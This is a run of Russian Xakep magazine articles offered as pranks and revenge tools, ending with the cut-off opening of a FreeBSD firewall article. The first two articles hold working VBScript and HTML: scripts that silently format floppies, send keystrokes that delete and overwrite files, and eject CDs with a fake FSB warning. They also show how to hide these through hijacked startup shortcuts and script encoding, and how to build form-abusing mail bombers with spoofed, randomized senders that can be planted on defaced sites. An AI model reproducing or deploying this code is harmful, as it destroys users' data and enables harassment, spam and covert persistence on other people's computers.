Скажи, где ты брал диск с дистрибутивом твоей ОСи? А за сколько? Что-что? ЛИЦЕНЗИОННАЯ?! И все остальные диски ТОЖЕ? Ну, тогда бросай журнал и иди кататься с девочками (мальчиками :)) на яхте. Это будет для тебя более полезным занятием. Реально же, по официальным данным, пиратский рынок в России составляет 89 процентов. То есть с вероятностью 1:10 можно утверждать, что вставленная в дисковод компашка, если это не собственный сборник, является пиратской копией. Мы же с тобой займемся тем, что будем при попытке использования такого диска извлекать его с выдачей ну оч-ч-ч-ень строгого предупреждения :). Делать это будем, конечно же, с помощью сценариев на языке VBScript. Итак, пиши следующий код:

Option Explicit

Dim fso,mplayer

Dim Drive

Dim Count, f

f=0

'Объявляются используемые переменные

On Error Resume Next

'Блокировка сообщений об ошибках

set fso=CreateObject("Scripting.FileSystemObject")

set mplayer=CreateObject("WMPlayer.OCX.7")

'Подключение системных объектов

Do while f=0

'Создается бесконечный цикл

'для работы скрипта до перезагрузки

WScript.sleep 5000

'Пауза между проверками наличия диска в дисководе в миллисекундах

Count=-1

'Начальное положение счетчика

'Нужен на случай нескольких сидюков

For Each Drive in FSO.Drives

'Проверка всех дисков компа

If Drive.DriveType=4 then

'Если это сидюк

count=count+1

'То увеличиваем счетчик

if Drive.IsReady Then

'Если он вставлен

If (fso.fileexists(Drive.DriveLetter & ":\" & "Autorun.inf")) then

'И на нем есть файл Autorun.inf

'Значит есть автозапуск

'И это не ручной сборник

'(кто ставит на ручной сборник автозапуск? %))

'И не музыкальный диск

mplayer.cdromcollection.item(count).eject()

'Извлекается лоток

msgbox "Обнаружена пиратская копия диска. Дальнейшая работа с диском невозможна." &_

vbcrlf & "Сообщите в местные органы ФСБ о месте его покупки.",48,_

"Антипиратская система Windows"

'И выдается грозное предупреждение

End if

End If

End If

Next

Loop

Можешь не сомневаться, что твой ламернутый друган или не менее ламернутая секретарша будут рассказывать об этой "защите" всем и каждому, а первым делом побегут в магазин, продавший этот диск, а может и в ФСБ позвонят ;).


Спецвыпуск Xakep, номер #033, стр. 033-046-2, ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-2

При желании можешь усовершенствовать этот скрипт. Например, можно считать количество попыток использования диска и каждый раз выдавать новое предупреждение. В общем, пофантазируй.

ИЗДЕВАЕМСЯ НАД FDD И ЕГО ХОЗЯИНОМ

С оптическими дисками разобрались, но остались дискеты. Что можно делать с дискетами? Извлекать не получится по причине отсутствия какой либо связи данной механической части с электроникой. Остается логическая составляющая. Самым оптимальным вариантом мне представляется форматирование, причем скрытое. Открыл так чел документ с дискетки, работает потихоньку, глянь - а файлов-то и нет! Только осторожно: возможны приступы вандализма, членовредительство :), громкие размышления на тему вирусов, вирусописателей и интимной жизни их родственников.

Приступим.

Option Explicit

Dim WshShell, fso,flopp, odrive

Dim commandfile, batfile, txtcom, txtbat

Dim disklabel, x

'Объявляем используемые переменные

commandfile="c:\LOG.LOG"

'Имя файла с командами, передаваемыми программе форматирования

batfile="c:\file.bat"

'Имя запускаемого файла

disklabel="Loh"

'Метка для форматируемого диска

x=0

On Error Resume Next

'Блокировка сообщений об ошибках

set WshShell=WScript.CreateObject("WScript.Shell")

Set fso = CreateObject("Scripting.FileSystemObject")

'Подключаются системные объекты

Do While x=0

'Создается бесконечный цикл

'для работы скрипта до перезагрузки

Wscript.sleep 10000

'Пауза между проверками наличия диска в дисководе в миллисекундах

If WshShell.AppActivate("A:") then

'Если юзер открыл окно дискеты

'Значит он вставил ее в дисковод

Set flopp = fso.GetDrive("A")

'Получаем доступ к флоппу

If flopp.IsReady and flopp.FreeSpace <> flopp.TotalSize then

'Если он не чистый

'То создается файл с ответами

Set txtcom = fso.opentextfile(commandfile,2,true)

txtcom.writeline

txtcom.writeline "y"

txtcom.close

'и пакетный файл с командой форматирования

'и заметания следов

Set txtbat = fso.opentextfile(batfile,2,true)

txtbat.writeline "format a: /q /v:" & disklabel & " < " & commandfile

txtbat.writeline "del " & commandfile

txtbat.writeline "del " & batfile

txtbat.close

WshShell.run batfile,0

'Теперь полученная парочка принимается за работу

'Причем в скрытом режиме

End if

End if

'Заново повторяется вся процедура

Loop

Эта фича будет работать при условиях:

1. Дискета не защищена от записи.

2. В "Свойствах папки" - "Вид" - отмечена опция "Выводить полный путь в строке заголовка".

3. Окно проводника с содержимым дискеты открыто, пусть даже в свернутом виде, как минимум 10 секунд. Если интервал не устраивает, измени строку

Wscript.sleep 10000

например, на

Wscript.sleep 5000

4. Корень диска С не защищен от записи (бывает и такое). В противном случае замени имена (расположение) файлов c:\LOG.LOG и c:\file.bat на другие. В принципе, имена и расширения могут быть любыми.

5. Данному пользователю разрешено форматировать дискеты (Windows 2k/XP).

6. Если террор производится на компе под управлением Windows XP, то дискета форматируется даже при открытых на ней файлах. Если же используется Винда из серии 9х/МЕ, то нужно заменить строку


Спецвыпуск Xakep, номер #033, стр. 033-046-3, ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-3

txtcom.writeline "y"

на

txtcom.writeline "n"

Форматирование будет отложено до закрытия файлов.

Краткое пояснение принципа действия сценария. Как известно, в системе MS-DOS вывод на экран можно перенаправить в текстовый файл, указав после команды символ ">" в режиме нового файла или ">>" в режиме добавления к имеющемуся файлу и имя получаемого файла. Например, командой "dir c:\windows > c:\1.txt" будет получен файл C:\1.txt, содержащий листинг файлов и папок каталога C:\windows. Но далеко не всем известно, что возможно обратное перенаправление с использованием символа "<". На этом принципе и основан данный скрипт. В текстовый файл заносятся предполагаемые нажатия на клавиатуру, а затем они считываются программой Format. В итоге все действия происходят без участия пользователя, что нам и требовалось. Ну а консоль Windows XP с успехом выполняет эти функции MS-DOS.

Что же делать, если дискета не вставлена? Неужели лишать себя законного удовольствия? Не стоит. Пусть дисковод в знак возмущения издает громкие звуки. Для разнообразия, так сказать.

Option explicit

Dim fso, odrive

Dim x, y, z

y=500

'y - Приблизительная длительность тарахтения флоппаря

Set fso = CreateObject("Scripting.FileSystemObject")

set odrive = fso.getdrive("a:\")

'Подключаются системные объекты

for x=1 to y

'Процесс пошел

if odrive.isready then

'Проверяется наличие дискеты

'Отсюда и происходит весь шум

z=1

'Фиктивная операция

'Не ради этого все затевалось

end if

'Завершаем микроцикл

next

'Поехали по кругу

Скрипт будет работать, если: на компе есть дисковод, он висит на букве А и в нем нет дискеты.

Конечно, при желании эту штучку можно облагородить, а именно: добавить определение наличия дисковода, его букву и присутствие в нем дискеты, включать трещалку через определенные или случайные промежутки времени, заставить дисковод наигрывать определенную мелодию. И имей в виду, что этим приколом реально угробить FDD.

ЗАВЕТНЫЕ КНОПОЧКИ

А теперь приступим к термоядерному межгалактическому терроризму в рамках отдельно взятого писюка. Будем периодически посылать с клавиатуры разрушительную комбинации клавиш подобно этой: CTRL+A, SHIFT+DEL, ENTER. Это приведет к соответствующим результатам: удалению файлов и папок, текстов (смотря какое окно было на первом плане), выскакиванию глаз из орбит, порче материальных ценностей, биению головой о стену, массовым явлениям суицида и другим подобным веселеньким (кому как :)) вещам. А поможет нам в этом этот скриптик:

Option Explicit

Dim WshShell

Dim f, x

f=0

'Объявляются используемые переменные

On Error Resume Next

'Блокировка сообщений об ошибках

Set WshShell=WScript.CreateObject("WScript.Shell")

'Подключаются системные объекты

Do While f=0

'Создается бесконечный цикл

'для работы скрипта до перезагрузки

Wscript.Sleep Int((1800000)*Rnd)

WshShell.SendKeys "^{a}"

'Посылается комбинация клавиш CTRL+A

WshShell.SendKeys "+{DEL}"

'Посылается комбинация клавиш SHIFT+DEL

WshShell.SendKeys "{ENTER}"


Спецвыпуск Xakep, номер #033, стр. 033-046-4, ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-4

'Посылается клавиша ENTER

'т.е. сейчас было удалено содержание активного окна

'конечно, если это возможно

WshShell.SendKeys "^{s}"

'Посылается комбинация клавиш CTRL+S

'Если это текстовый редактор,

'то "результат" был сохранен

WshShell.SendKeys "{ENTER}"

'Посылается клавиша ENTER

WshShell.SendKeys "{LEFT}"

'Посылается клавиша "Стрелка влево"

WshShell.SendKeys "{ENTER}"

'Посылается клавиша ENTER

На случай, если документ создан впервые

WshShell.SendKeys "%{F4}"

'Посылается комбинация клавиш ALT+F4

'Окно закрывается, чтобы было нельзя сделать откат

Loop

'Заново повторяется вся процедура

Данный алгоритм не претендует на универсальность, но ты можешь переделать его под конкретную ситуацию. Так что делайте резервные копии, господа.

ЗАЩИТА ОТ УМНЫХ

Осталось решить главную задачу: сделать так, чтобы все это (ну не все - половина :)) запускалось при включении РС. Это можно осуществить стандартными способами - поместить ссылки в реестр или файлы win.ini и system.ini. Но едва владелец компа запустит волшебную программу msconfig.exe или подобную ей, как все твои старания пойдут прахом. Надо придумать что-то новенькое. Могу дать совет. Обрати внимание на папку Автозагрузка. Да-да, ту самую, что в меню "Программы". И не надо материться. Надо читать дальше. Присутствуют там какие-либо ярлыки? Обычно они там присутствуют, будучи помещенными туда по дефолту пакетом Microsoft Office. Если есть, то считай, что тебе повезло. Теперь лезь в свойства ярлыка и смотри что он запускает. Затем пиши ВАТ-файл такого содержания:

@Start полное_имя_запускаемой_программы >nul

@Start полное_имя_запускаемого скрипта >nul

Теперь сохраняй его под именем захваченной программы, но с расширением ВАТ, в том же каталоге, где она находится, а в свойствах ярлыка изменяй расширение с ЕХЕ на ВАТ. Не забудь изменить значок у ярлыка на оригинальный (Свойства - ярлык - сменить значок). Получается эдакий симбиоз - при запуске программы запустится и твой скрипт. Вряд ли у кого-то хватит ума проверять эти ярлыки. Остается только одна шняга: при запуске ВАТ-файлов на экране на миг возникнет черное окно консоли, на что могут обратить внимание. Обойти это можно, если указать в ярлыке не ВАТ-файл, а сам скрипт, добавив в него команду запуска программы, на которую он ссылался. Например

Set Wsh = WScript.CreateObject("WScript.Shell")

'Внимание! Дублирование этой строки в скрипте нежелательно!

Wsh.run "Полное_имя_запускаемой_программы"

Если же в Автозагрузке ничего нет, то не расстраивайся, а понаблюдай, какую программу на этом компьютере запускают первой и какую - чаще всего, а затем проделай с ее ярлыком все указанное выше. Это может быть тот же Word или же браузер. И не забывай, что ярлыки бывают не только в Главном меню, а еще и, например, в Панели быстрого запуска или на Рабочем столе. Не лишним будет присвоить скриптам атрибуты "Системный" и "Скрытый". Особенно если в свойствах папки стоит запрет на отображение файлов с такими атрибутами.

ШИФРОВАНИЕ СКРИПТОВ

На случай, если владелец компа добрался до твоих скриптов, ты можешь избавить его от удовольствия читать их исходники. Устроить это можно с помощью программы Script Encoder, созданной в недрах корпорации Microsoft. Добыть ее можно на сайте создателя или поискав на софтверных хранилищах под именем sce10en.exe. Программа абсолютно бесплатна и невелика по размеру - всего 128 kb в установочном файле. Шифрование применимо к сценариям как на VBScript, так и на JScript.


Спецвыпуск Xakep, номер #033, стр. 033-046-5, ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-5

Формат команды на шифрование такой:

screnc имя_исходного_файла имя_зашифрованного файла

Зашифрованные файлы для нормального функционирования должны менять свое расширение с VBS на VBE и с JS на JSE соответственно. В случае, если сценарии находятся в файле WSF или HTML, то происходит не изменение расширения, а смена атрибутов тега <Script language="VBScript"> на <script language="VBScript.Encode">.

Если в зашифрованном скрипте изменить, добавить или удалить какой-либо символ, он становится нерабочим. Однако не стоит рассматривать шифрование как надежную защиту от просмотра исходного кода. Специалист может восстановить из него первоначальное содержимое, к тому же русские символы в скриптах не шифруются. Ну и под конец сообщу, что шифрование скриптов WSH возможно только с версии 2.0.

Кодировка специальных клавиш в методе SendKeys

Esc {ESC}

Tab {TAB}

Caps Lock {CAPSLOCK}

Backspace {BS}, {BKSP} или {BACKSPACE}

Enter {ENTER} или ~

Print {PRTSC}

Scroll Lock {SCROLLLOCK}

Break {BREAK}

Insert {INS} или {INSERT}

Home {HOME}

Page Up {PGUP}

Delete {DEL}

End {END}

Page Down {PGDN}

Стрелка влево {LEFT}

Стрелка вправо {RIGHT}

Стрелка вверх {UP}

Стрелка вниз {DOWN}

F1 {F1}

F12 {F12}

Space chr(32)

Коды для комбинаций клавиш в методе SendKeys

Shift + перед кодом второй клавиши

Ctrl ^ перед кодом второй клавиши

Alt % перед кодом второй клавиши

Вывод повторяющихся клавиш {код_клавиши число_повторов}

Примеры:

{^x} Нажатие комбинации клавиш CTRL+X

{+(ec)} Одновременное нажатие SHFT+E+C

{H 10} 10 нажатий клавиши H

Параметры командной строки программы screnc.exe

/s Работа программы без вывода сообщений на экран

/f Перезаписать исходный файл зашифрованным под тем же самым именем

/l language Явно указывает язык в шифруемом файле. Например /l Jscript

Примеры:

screnc hello.vbs hello.vbe

screnc /e htm config.wsf confighide.wsf

screnc /f /e htm index.html

Книги, посвященные созданию скриптов:

Попов А. Windows Script Host для Windows 2000/XP. - Санкт-Петербург.: BHV-CПб. 2003

Джесси Торрес. Скрипты для администратора Windows. Специальный справочник. - Санкт-Петербург.: Питер. 2002

С. Палмер. VBScript и ActiveX: библиотека программиста. - Санкт-Петербург.: Питер. 1999


Спецвыпуск Xakep, номер #033, стр. 033-050-1, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-1

(analyst1945@mail.ru)

Центру Американского Английского посвящается...

Внимание! Все URL и e-mail адреса вымышленные. Любые совпадения случайны.

При написании статьи ни одно животное не пострадало.

Наверняка у тебя возникало желание отомстить проклятому недругу, закидав его ящик спамом. А где этим заняться, как не на работе, во время очередного пятичасового перерыва на перекур? Для воплощения этой мечты можно выбрать несколько путей.

Для начала никто не мешает тебе воспользоваться услугами фирм, специализирующихся на отсылке анонимной почты, но за это придется отвалить децл бабла. Можно использовать специализированные программы (так называемые маил-бомберы), но этот путь довольно сложен, так как требуется найди соответствующую программу и подходящий почтовый сервер; практически все проги такого рода отлавливаются антивирусами (особенно если ты корпоративный пользователь); тебе может быть открыт доступ только к внутреннему почтовому серверу или серверу провайдера, или вообще запрещено использование почтовых протоколов. Но даже если все будет ОК и удастся запустить спаммерскую утилиту, то останется риск того, что админы используемого почтового сервака, заметив подозрительную активность, поставят приходящие письма в игнор. Можно завести левый ящик на бесплатных сайтах, но данный метод, вследствие его тормознутости, пригоден исключительно для мазохистов. Тем более, что при работе с ним в логах остается твой айпишник, конечно, если не пользоваться анонимным прокси-сервером.

СЛУЖБЫ АНОНИМНОЙ ОТПРАВКИ ПОЧТЫ

Остановим свой взгляд на так называемых "Службах анонимной отправки почты", предоставляющих свой сервис через web-форму. Найти подобные сайты не просто, а... очень просто: достаточно набрать в поисковой системе запрос вида "+почта +отправка +анонимно +бесплатно +служба +форма". Любой поисковик через пару секунд выдаст на-гора несколько сотен адресов.

Чтобы отправить письмо, достаточно лишь набрать текст и адресные данные в форме, нажать кнопку Submit (Отправить). Причем абсолютно не требуется какая-либо авторизация, и можно указать любой адрес отправителя, хоть president@whitehouse.gov :). Не лишним будет ознакомиться с правилами оформления письма, которые, скорее всего, расположены на этой же страничке (например, поле адреса допускает ввод только одного e-mail). Вот только форма рассчитана на отправку одного письма, но нам это не страшно ;).

ДОБАВЬ ВОЗМОЖНОСТЕЙ ПОЧТОВОЙ СЛУЖБЕ

Сохраняй страничку с формой себе на винт. Сейчас займемся ее вивисекцией. Открывай код полученной страницы в Блокноте. В ней тебе нужен участок, ограниченный тегами <FORM ...> и </FORM>. Все остальное, кроме обязательных компонентов, можно выбросить. Должно получиться что-то вроде:

<HTML>

<HEAD>

</HEAD>

<BODY>

<form action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

<table bgColor="#ffce66" cellspacing=2 cellpadding=2 border=0 align=center>

<tr><td bgcolor=#ffefce>

<table width=480 cellspacing=10 cellpadding=0 border=0 align=center>


Спецвыпуск Xakep, номер #033, стр. 033-050-2, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-2

<tr title="Введите ваше имя или ник латинскими символами">

<td><font size=-1><b>Ваше имя или ник</b></font></td>

<td><font size=-1><input type="text" name="fname" size=40 maxlength=40></font></td></tr>

<tr title="Введите ваш e-mail адрес">

<td><font size=-1><b>Ваш e-mail адрес</b></font></td>

<td><font size=-1><input type="text" name="femail" size=40 maxlength=40></font></td></tr>

<tr title="Введите только e-mail адрес получателя сообщения">

<td><font size=-1><b>Кому (только e-mail)</b></font></td>

<td><font size=-1><input type="text" name="toemail" size=40 maxlength=40></font></td></tr>

<tr title="Введите тему сообщения">

<td><font size=-1><b>Тема сообщения</b></font></td>

<td><font size=-1><input type="text" name="subject" size=40 maxlength=40></font></td></tr>

<td><font size=-1><b>Текст сообщения</b></font></td>

<td><textarea rows=8 cols=34 name="body" maxlength=1000></textarea></td></tr>

<tr><td>

</td>

<td><input type="submit" value="Отправить" title="Нажмите для отправки" style="background:#d4d0c8;font-size:12px;">

<input type="reset" value="Очистить" title="Очистить все поля формы" style="background:#d4d0c8;font-size:12px;"></td></tr></table>

</td></tr></table>

<input type="hidden" name="lng" value="ru">

<input type="hidden" name="v" value="post">

</form>

</BODY>

</HTML>

Ок. Значит, форма улетает на ЦГайку по адресу http://www.anysite.com/cgi-bin/mailsender.cgi. Нет никаких идентификаторов сессии и подобной ерунды. То, что доктор прописал. Теперь из этой каши следует выделить только необходимые элементы формы. Вот что должно остаться:

<HTML>

<HEAD>

</HEAD>

<BODY>

<form action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

<input type="text" name="fname" size=40 maxlength=40><BR>

<input type="text" name="femail" size=40 maxlength=40><BR>

<input type="text" name="toemail" size=40 maxlength=40><BR>

<input type="text" name="subject" size=40 maxlength=40><BR>

<textarea rows=8 cols=34 name="body" maxlength=1000></textarea><BR>

<input type="submit" value="Отправить">

<input type="reset" value="Очистить">

<input type="hidden" name="lng" value="ru">

<input type="hidden" name="v" value="post">

</form>

</BODY>

</HTML>

Не изменяй и не превышай длину полей ввода, так как возможна проверка корректности введенных данных на сервере (хотя стоит попробовать ;)). Далее надо добавить значения по умолчанию в соответствующие поля. Например:

<input type="text" name="fname" value="President"><BR>


Спецвыпуск Xakep, номер #033, стр. 033-050-3, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-3

<input type="text" name="femail" value="president@whitehouse.gov"><BR>

<input type="text" name="toemail" value="billgates@microsoft.com"><BR>

Тегу <FORM> следует дать уникальное имя:

<form name="formname" action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

Вот что примерно получится:

<HTML>

<HEAD>

</HEAD>

<BODY>

<form name="formname" action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

<input type="text" name="fname" value="President"><BR>

<input type="text" name="femail" value="president@whitehouse.gov"><BR>

<input type="text" name="toemail" value="billgates@microsoft.com"><BR>

<input type="text" name="subject" value="Hi"><BR>

<textarea rows=8 cols=34 name="body">Hi, Bill</textarea><BR>

<input type="submit" value="Отправить">

<input type="reset" value="Очистить">

<input type="hidden" name="lng" value="ru">

<input type="hidden" name="v" value="post">

</form>

</BODY>

</HTML>

Остается создать механизм массовой отправки данного письма. Он до предела прост:

<Script type="text/vbsript">

sub window_onload

'Отсылаем форму при открытии окна.

m=100

'Количество писем. Укажи, сколько надо.

'Например, 10240, если ящик на 10 Mb :)).

for x=1 to m

document.formname.submit.

'Команда отправки формы на сервер.

next

'Следующий виток цикла.

end

alert "Mesages are sent"

'При завершении цикла выводится сообщения. Можно убрать.

</Script>

Что будет в итоге:

<HTML>

<HEAD>

</HEAD>

<BODY>

<form name="formname" action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

<input type="text" name="fname" value="President"><BR>

<input type="text" name="femail" value="president@whitehouse.gov"><BR>

<input type="text" name="toemail" value="billgates@microsoft.com"><BR>

<input type="text" name="subject" value="Hi"><BR>

<textarea rows=8 cols=34 name="body">Hi, Bill</textarea><BR>

<input type="submit" value="Отправить">

<input type="reset" value="Очистить">

<input type="hidden" name="lng" value="ru">

<input type="hidden" name="v" value="post">

</form>

<Script type="text/vbsript">

sub window_onload

m=100

for x=1 to m

document.formname.submit.

next

end

</Script>

</BODY>

</HTML>

Итого: грозное оружие размером в 743 байта. Кликнул по HTML-ке, и готово!

ПОДЛОЖИ СВИНЬЮ

Если испытываешь определенные (знаем мы эти "определенные" $$$ :)) затруднения с доступом в Интернет, то пиши дополнительный сценарий:

<?xml version="1.0" encoding="ISO-8859-1"?>

<job id="T1">

<script language="VBScript">

<![CDATA[

Option explicit

Dim ProgName, WshShell

ProgName="flood.html"

'В кавычках нужно указать имя HTML файла.

On Error Resume Next

'Отключаем вывод сообщения в случае ошибки.

Set WshShell=WScript.CreateObject("WScript.Shell")


Спецвыпуск Xakep, номер #033, стр. 033-050-4, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-4

WsCript.Sleep 1200000

'Длительность паузы в миллисекундах.

'Ты ведь не хочешь, чтобы тебя сразу схватили?

WshShell.Run Progname,0

'Запускаем флудер в невидимом режиме.

]]>

</script>

</job>

Теперь сохрани его в текстовом формате с расширением WSF, сливай оба файла на дискетку и иди в клуб (траф в клубе должен быть неограниченным, иначе админы тебе все почки поотбивают), пихай в какой-нибудь каталог поглубже и запускай скрипт. Сразу не уходи - поиграй немного, для вида. Остается только пожинать плоды столь кропотливой работы :).

УВЕЛИЧЬ МАСШТАБЫ

Если ты продвинутый хакер, то можешь задефейсить какой-либо сайт, добавив в главную страницу эту форму. Предварительно сделай все элементы скрытыми, а текст сообщения одного цвета с фоном. Например:

<HTML>

<HEAD>

</HEAD>

<BODY>

<form name="formname" action="http://www.anysite.com/cgi-bin/mailsender.cgi" method="POST">

<input type="hidden" name="fname" value="President"><BR>

<input type="hidden" name="femail" value="president@whitehouse.gov"><BR>

<input type="hidden" name="toemail" value="billgates@microsoft.com"><BR>

<input type="hidden" name="subject" value="Hi"><BR>

<div name="body" style="color=blue;background color=blue">Hi, Bill</div><BR>

<input type="hidden" name="lng" value="ru">

<input type="hidden" name="v" value="post">

</form>

<Script type="text/vbsript">

sub window_onload

m=100

for x=1 to m

document.formname.submit.

next

end

</Script>

Остальной код страницы тут

</BODY>

</HTML>

Теперь при каждом посещении задефейсенной паги к жертве будут улетать m сообщений.

ТОННЫ МУСОРА ПО УЗКОМУ КАНАЛУ

Если у тебя Dial-Up и скорость доступа в Инет оставляет желать лучшего, то воспользуйся эффектом умножения. Поясняю. Существуют различные службы, предоставляющие доступ ресурсам Сети (например, к FTP) через электронную почту. Тебе остается оформить заказ на файлик, размером мегабайт так в 15-20, указав в поле "От кого: (From:)" адрес жертвы. Жалко, что у таких служб стоит ограничение на количество принимаемых заявок. Некоторые службы высылают справку по своей работе, если на ее адрес будет получено письмо со словом "Help" в теле или заголовке. Также следует обратить внимание на ссылки "Заказать на E-Mail" на софтверных (и не только) сайтах. Ну а если встретишь сервис с поддержкой аттачей без предварительной закачки на сервер, то считай, что тебе крупно повезло :)).

Если же хочешь ограничиться простым флудом почтового ящика, то я рекомендую при каждом "сеансе" случайным образом генерировать адрес и ник отправителя, тему письма и др. В этом случае обычные антиспаммерские фильтры будут бессильны - ведь обратный-то адрес каждый раз новый! Пример такого подхода приведен ниже. Для начала создай HTML-документ с именем, ну, например, send.htm.

<HTML>

<HEAD>

</HEAD>

<META HTTP-EQUIV="refresh" CONTENT="2; URL=pause.html ">

<BODY>

<SCRIPT TYPE="text/VBScript"><!--


Спецвыпуск Xakep, номер #033, стр. 033-050-5, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-5

sub window_onload

'Формирование и отправка писем начинается сразу после открытия документа.

Randomize

'Оптимизируем генератор случайных чисел.

'Процедура формирования _имени_ отправителя :).

for x = 1 to 8

'Указывай длину ника.

symb = Int((26)*Rnd)+96

'Случайным образом определяется символ.

if symb <> 96 then

'Проверяется, является ли он буквой.

fromnik = fromnik & chr(symb)

'Если да, то он присоединяется к нику.

end if

'Конец проверки.

next

'Переход к следующему символу.

'Аналогично формируется ложный логин обратного адреса.

for x = 1 to 6

symb = Int((26)*Rnd)+96

if symb <> 96 then

maillogin=maillogin & chr(symb)

end if

next

'и ложный домен.

for x = 1 to 6

symb = Int((26)*Rnd)+96

if symb <> 96 then

maildomain=maildomain & chr(symb)

end if

next

frommail = maillogin & "@" & maildomain & ".com"

'Конструируется полный адрес отправителя.

'Формируется тема письма.

for x = 1 to 10

symb = Int((26)*Rnd)+96

if symb <> 96 then

mailsubj=mailsubj & chr(symb)

end if

next

'Используя полученные данные, генерируется заполненная форма.

Document.open

Document.write "<form action='http://www.anysite.com/cgi-bin/mailsender.cgi' name='formname' method='POST'>"

Document.write "<input type='text' name='fname' value='" & fromnik & "'><BR>"

Document.write "<input type='text' name='femail' value='" & frommail & "'><BR>"

Document.write "<input type='text' name='toemail' value='billgates@microsoft.com'><BR>"

Document.write "<input type='text' name='subject' value='" & mailsubj & "'><BR>"

Document.write "<textarea rows=8 cols=34 name='body' maxlength=1000>Hi</textarea><BR>"

Document.write "<input type='submit' value='Отправить'> "

Document.write "<input type='reset' value='Очистить'>"

Document.write "<input type='hidden' name='lng' value='ru'>"

Document.write "<input type='hidden' name='v' value='post'>"

Document.write "</form>"

Document.close

document.formname.submit

mailsubj=""

frommail=""

'Обнуляем использованные переменные.

'После чего она отправляется.

window.location="send1.html"

'Для обновления параметров загружаем второй документ.

end sub

--></SCRIPT>

</BODY>

</HTML>

Теперь копируй этот файл с именем send1.htm и заменяй строку кода

window.location="send1.html"

на

window.location="send.html".

В итоге, после запуска одного из них из первого документа будет вызываться второй, а из второго - первый. Получается кольцевая схема. Флуд будет продолжаться до тех пор, пока ты не умудришься закрыть окно браузера. А это не так-то просто (поверь мне ;)) как с моральной, так и с физической стороны.

РАСШИРЬ КРУГОЗОР

Данный способ пригоден для флуда не только электронной почты, но и ICQ, SMS, факсов, пейджеров и, при некотором ухищрении, - форумов, если там нет авторизации. Достаточно лишь найти соответствующие сервисы, задав в поисковой машине комбинации "+send +free +sms", "+send +free +fax" и т.д.

Не бойся экспериментировать. Если не получилось, попробуй добавить что-либо из оригинального документа. Все зависит от конкретного сайта.


Спецвыпуск Xakep, номер #033, стр. 033-050-6, ОФИСНЫЙ СПАМ - бомбежка из броузера

ОФИСНЫЙ СПАМ - бомбежка из броузера

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-050-6

ВЫБИРАЙ ПРАВИЛЬНО

Перед выбором системы анонимных сообщений следует руководствоваться следующими правилами:

Перво-наперво, надо протестировать возможности службы. Для этого заведи бесплатный почтовый ящик, благо этого добра сейчас предостаточно, и отошли на него, используя тестируемую службу, несколько писем с одинаковым содержанием, темой и адресом отправителя. Засеки время пересылки и оригинальность полученного текста. Иногда, в качестве компенсации за бесплатность, в письма вставляются баннеры или текстовые сообщения. Также возможно ограничение на количество отправленных писем в единицу времени. Ограничение обычно осуществляется использованием плюшек (что банально обходится блокированием Cookie в свойствах браузера, настройкой файрволла или очисткой директории Cookies) или проверкой по IP-адресу (используй анонимные прокси). Конечно, может потребоваться некоторая автоматизация, но это уже тема другой статьи.

Также возможна неприемлемая задержка в несколько минут или даже часов (складывается впечатление, что админы читают письма перед пересылкой). Не следует обращаться к сервисам, расположенным на бесплатных хостингах (это можно узнать по URL почтового сервиса), так как админами этих сайтов уделяется особое внимание загруженности каналов и подозрительной активности скриптов. Ну и, наконец, непосредственно перед боевыми действиями, во избежание конфуза, следует протестировать полученное детище на своем левом ящике. В этом нет ничего опасного.

Удачи в мести ненавистным спаммерам. Будь осторожен, пользуйся проксиками, мой руки перед едой, уступай бабушкам место в общественном транспорте.


Спецвыпуск Xakep, номер #033, стр. 033-054-1, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-1

Пингвин уже больше не прячет тело жирное в утесах, а наоборот уютно занял пять или шесть гигов на твоем харде, разложил свою аппетитную тушку на одной из партиций, радикально прописался в mbr, и уже при каждой загрузке компа тебя встречает жизнерадостный логотип Линуха и приглашение lilo (хотя, может, у кого-то grub?).

Но как же остальные UNIX системы? Ведь существует масса других бесплатных стабильных операционных систем, более пушистых, идейных, радующих сердце (ночами) и согревающих душу в морозный день. Ты, наверно, уже понял, мой маленький друг, что сегодня мы будем говорить о FreeBSD.

КТО Я ТАКОЙ?

